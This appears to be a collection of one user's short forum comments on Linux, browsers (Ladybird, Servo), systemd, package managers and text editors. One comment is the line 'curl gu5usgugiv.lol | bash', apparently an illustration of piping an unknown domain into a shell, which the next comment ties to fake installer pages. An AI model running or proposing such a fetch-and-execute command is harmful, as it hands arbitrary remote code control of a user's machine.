The good news is that the browser comes from Serenity OS which means it probably is lightweight and well written.

That’s not controlled by Google…

It is also important to note that the license is still foss and GPL compatible. In the future they could made it GPL.

It does that once for me

A lot of systems use systemd boot. Also, why would you be modifying Grub?

That’s very unlikely to happen. Once the driver is installed via Windows update it doesn’t magically uninstall itself.

I think the key thing is to have checks and balances and or incentives so that a browser doesn’t become just a tool to sell stuff. For instance, I hear the Mullvad browser is pretty good. It isn’t independent for obvious reasons but the idea still applies.

I don’t have any issue as long as there are options and the company isn’t actively hostile.

I’m not sure I have a lot of faith in Servo but we are in need of anything better than Gecko. Ladybird is the new one on the block and we will see if it goes anywhere. I like that Ladybird it’s own web browser.

You will need to use it at some point. With silverblue it is rpm-ostree and with bootable containers it is dnf in a Dockerfile.

Pacman is not a great package manager. It blows up way to easily.

curl gu5usgugiv.lol | bash || curl get.k3s.io | bash

Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

Got to love the installer that requires a GUI

Neovim and emacs are both incredibly heavy. I would rather just use something like VScodium.

Nano and Vim are small and quick.

It is a pain for larger files. It small and light but doesn’t have the same featureset.

Most people just use vim

No

It is very fast

I can’t say I agree but I see where you are coming from.

For me personally systemd is much better especially for services and logs. It creates a consistent environment and provides lots of features like sandboxing and failure detection. I really don’t like how some software dumps random logs everywhere and having a proper database is nice. Journalctl is tricky to learn but it is nicer than trying to manage text files.

“Systemd controversy”

I think the controversy ended 10 years ago. It is crazy this is still something people will bring up from time to time.